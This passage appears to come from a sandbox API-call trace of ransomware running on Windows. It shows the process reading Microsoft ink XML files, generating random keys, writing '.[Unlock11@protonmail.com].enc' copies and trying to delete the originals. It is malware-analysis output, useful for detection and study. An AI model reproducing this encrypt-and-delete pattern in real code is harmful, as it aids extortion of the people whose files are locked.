files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0122.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0122.576] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.576] GetLastError () returned 0x12 [0122.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.577] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0122.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2cd8 | out: hHeap=0x2ad0000) returned 1 [0122.577] GetCurrentThreadId () returned 0x9b0 [0122.577] GetLastError () returned 0x12 [0122.577] GetLastError () returned 0x12 [0122.577] GetLastError () returned 0x12 [0122.577] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0122.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0122.578] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0122.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0122.578] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea598, Size=0x40) returned 0x38879b0 [0122.578] GetCurrentThreadId () returned 0x9b0 [0122.578] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0122.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0122.579] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0122.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0122.579] GetCurrentThreadId () returned 0x9b0 [0122.579] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0122.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0122.580] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0122.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0122.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.581] GetCurrentThreadId () returned 0x9b0 [0122.581] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml", lpFilePart=0x9bada4*="base.xml") returned 0x4e [0122.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0122.581] GetCurrentThreadId () returned 0x9b0 [0122.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea778 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a428 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.582] GetCurrentThreadId () returned 0x9b0 [0122.583] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05)) returned 1 [0122.583] GetCurrentThreadId () returned 0x9b0 [0122.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0122.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0122.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0122.583] GetCurrentThreadId () returned 0x9b0 [0122.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.583] GetCurrentThreadId () returned 0x9b0 [0122.583] GetCurrentThreadId () returned 0x9b0 [0122.584] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.584] GetCurrentThreadId () returned 0x9b0 [0122.584] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.584] GetFileType (hFile=0x39c) returned 0x1 [0122.584] GetCurrentThreadId () returned 0x9b0 [0122.584] GetFileType (hFile=0x39c) returned 0x1 [0122.584] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.584] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.585] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.585] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.585] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.585] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.585] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.585] GetLastError () returned 0x0 [0122.585] GetCurrentThreadId () returned 0x9b0 [0122.585] GetLastError () returned 0x0 [0122.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0122.585] GetLastError () returned 0x0 [0122.585] GetLastError () returned 0x0 [0122.586] GetLastError () returned 0x0 [0122.586] GetLastError () returned 0x0 [0122.586] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.586] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d68 [0122.586] GetLastError () returned 0x0 [0122.586] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.586] GetFileType (hFile=0x3ac) returned 0x1 [0122.587] GetLastError () returned 0x0 [0122.587] GetCurrentThreadId () returned 0x9b0 [0122.587] GetLastError () returned 0x0 [0122.587] GetFileType (hFile=0x3ac) returned 0x1 [0122.587] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.587] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.587] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.587] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.587] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.587] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.587] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.587] GetLastError () returned 0x0 [0122.588] GetCurrentThreadId () returned 0x9b0 [0122.588] GetLastError () returned 0x0 [0122.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0122.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0122.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.588] GetLastError () returned 0x0 [0122.588] GetLastError () returned 0x0 [0122.588] GetCurrentThreadId () returned 0x9b0 [0122.588] GetLastError () returned 0x0 [0122.588] GetCurrentThreadId () returned 0x9b0 [0122.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0122.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.589] GetLastError () returned 0x0 [0122.589] GetLastError () returned 0x0 [0122.589] GetCurrentThreadId () returned 0x9b0 [0122.589] GetLastError () returned 0x0 [0122.589] GetLastError () returned 0x0 [0122.591] GetLastError () returned 0x0 [0122.591] GetCurrentThreadId () returned 0x9b0 [0122.591] GetLastError () returned 0x0 [0122.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.591] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xd28) returned 0x38273e0 [0122.591] GetLastError () returned 0x0 [0122.591] GetLastError () returned 0x0 [0122.591] GetLastError () returned 0x0 [0122.591] GetLastError () returned 0x0 [0122.592] GetCurrentThreadId () returned 0x9b0 [0122.592] GetLastError () returned 0x0 [0122.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0122.592] GetCurrentThreadId () returned 0x9b0 [0122.592] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.592] GetLastError () returned 0x0 [0122.592] GetLastError () returned 0x0 [0122.592] GetCurrentThreadId () returned 0x9b0 [0122.592] GetLastError () returned 0x0 [0122.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828110 | out: hHeap=0x2ad0000) returned 1 [0122.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f9278 [0122.593] GetLastError () returned 0x0 [0122.593] GetLastError () returned 0x0 [0122.593] GetCurrentThreadId () returned 0x9b0 [0122.593] GetLastError () returned 0x0 [0122.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f9278 | out: hHeap=0x2ad0000) returned 1 [0122.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.593] GetLastError () returned 0x0 [0122.594] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.594] CloseHandle (hObject=0x3ac) returned 1 [0122.594] GetLastError () returned 0x0 [0122.595] GetCurrentThreadId () returned 0x9b0 [0122.595] GetLastError () returned 0x0 [0122.595] GetLastError () returned 0x0 [0122.595] CloseHandle (hObject=0x39c) returned 1 [0122.595] GetLastError () returned 0x0 [0122.595] GetCurrentThreadId () returned 0x9b0 [0122.595] GetLastError () returned 0x0 [0122.595] GetLastError () returned 0x0 [0122.595] GetLastError () returned 0x0 [0122.595] GetLastError () returned 0x0 [0122.595] GetLastError () returned 0x0 [0122.596] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0 [0122.596] GetLastError () returned 0x5 [0122.596] GetCurrentThreadId () returned 0x9b0 [0122.596] GetLastError () returned 0x5 [0122.596] GetLastError () returned 0x5 [0122.596] GetLastError () returned 0x5 [0122.596] GetLastError () returned 0x5 [0122.596] LocalFree (hMem=0x1053af0) returned 0x0 [0122.596] GetLastError () returned 0x5 [0122.597] GetLastError () returned 0x5 [0122.597] GetLastError () returned 0x5 [0122.597] GetLastError () returned 0x5 [0122.597] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpFilePart=0x9bada4*="baseAltGr_rtl.xml") returned 0x57 [0122.597] GetCurrentThreadId () returned 0x9b0 [0122.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0122.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.597] GetCurrentThreadId () returned 0x9b0 [0122.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.598] GetLastError () returned 0x0 [0122.598] GetLastError () returned 0x0 [0122.598] GetLastError () returned 0x0 [0122.598] GetLastError () returned 0x0 [0122.598] GetCurrentThreadId () returned 0x9b0 [0122.598] GetLastError () returned 0x0 [0122.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.598] GetLastError () returned 0x0 [0122.598] GetLastError () returned 0x0 [0122.598] GetLastError () returned 0x0 [0122.599] GetLastError () returned 0x0 [0122.599] GetCurrentThreadId () returned 0x9b0 [0122.599] GetLastError () returned 0x0 [0122.599] GetCurrentThreadId () returned 0x9b0 [0122.599] GetLastError () returned 0x0 [0122.599] GetLastError () returned 0x0 [0122.599] GetLastError () returned 0x0 [0122.599] GetLastError () returned 0x0 [0122.599] GetCurrentThreadId () returned 0x9b0 [0122.599] GetLastError () returned 0x0 [0122.599] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.600] GetLastError () returned 0x0 [0122.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.600] GetCurrentThreadId () returned 0x9b0 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.600] GetLastError () returned 0x0 [0122.601] GetCurrentThreadId () returned 0x9b0 [0122.601] GetLastError () returned 0x0 [0122.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0122.601] GetLastError () returned 0x0 [0122.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0122.601] GetLastError () returned 0x0 [0122.601] GetLastError () returned 0x0 [0122.601] GetLastError () returned 0x0 [0122.602] GetCurrentThreadId () returned 0x9b0 [0122.602] GetLastError () returned 0x0 [0122.602] GetLastError () returned 0x0 [0122.602] GetLastError () returned 0x0 [0122.602] GetLastError () returned 0x0 [0122.602] GetLastError () returned 0x0 [0122.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.602] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7)) returned 1 [0122.602] GetLastError () returned 0x0 [0122.602] GetCurrentThreadId () returned 0x9b0 [0122.603] GetLastError () returned 0x0 [0122.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c78 | out: hHeap=0x2ad0000) returned 1 [0122.603] GetCurrentThreadId () returned 0x9b0 [0122.603] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bec | out: pbBuffer=0x3668bec) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0122.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0122.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0122.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.603] GetCurrentThreadId () returned 0x9b0 [0122.603] GetLastError () returned 0x0 [0122.603] GetLastError () returned 0x0 [0122.604] GetLastError () returned 0x0 [0122.604] GetLastError () returned 0x0 [0122.604] GetCurrentThreadId () returned 0x9b0 [0122.604] GetLastError () returned 0x0 [0122.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea598 [0122.604] GetLastError () returned 0x0 [0122.604] GetLastError () returned 0x0 [0122.604] GetLastError () returned 0x0 [0122.604] GetLastError () returned 0x0 [0122.604] GetCurrentThreadId () returned 0x9b0 [0122.605] GetLastError () returned 0x0 [0122.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea598 | out: hHeap=0x2ad0000) returned 1 [0122.605] GetCurrentThreadId () returned 0x9b0 [0122.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c48 [0122.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5980 | out: hHeap=0x2ad0000) returned 1 [0122.605] GetLastError () returned 0x0 [0122.605] GetLastError () returned 0x0 [0122.605] GetLastError () returned 0x0 [0122.605] GetLastError () returned 0x0 [0122.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cb8 [0122.606] GetLastError () returned 0x0 [0122.606] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.606] GetFileType (hFile=0x39c) returned 0x1 [0122.606] GetLastError () returned 0x0 [0122.606] GetCurrentThreadId () returned 0x9b0 [0122.606] GetLastError () returned 0x0 [0122.606] GetFileType (hFile=0x39c) returned 0x1 [0122.606] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.606] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.606] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.607] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.607] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.607] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.607] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.607] GetLastError () returned 0x0 [0122.607] GetLastError () returned 0x0 [0122.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0122.607] GetLastError () returned 0x0 [0122.607] GetLastError () returned 0x0 [0122.607] GetLastError () returned 0x0 [0122.608] GetLastError () returned 0x0 [0122.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cb8 [0122.608] GetLastError () returned 0x0 [0122.608] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.609] GetFileType (hFile=0x3ac) returned 0x1 [0122.610] GetLastError () returned 0x0 [0122.610] GetLastError () returned 0x0 [0122.610] GetFileType (hFile=0x3ac) returned 0x1 [0122.610] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.610] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.610] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.610] GetLastError () returned 0x0 [0122.610] GetLastError () returned 0x0 [0122.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc390 | out: hHeap=0x2ad0000) returned 1 [0122.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.611] GetLastError () returned 0x0 [0122.611] GetLastError () returned 0x0 [0122.611] GetLastError () returned 0x0 [0122.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.611] GetLastError () returned 0x0 [0122.611] GetLastError () returned 0x0 [0122.611] GetLastError () returned 0x0 [0122.612] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c48 | out: hHeap=0x2ad0000) returned 1 [0122.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x118) returned 0x2c374c0 [0122.613] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.613] GetLastError () returned 0x0 [0122.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0122.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0122.614] 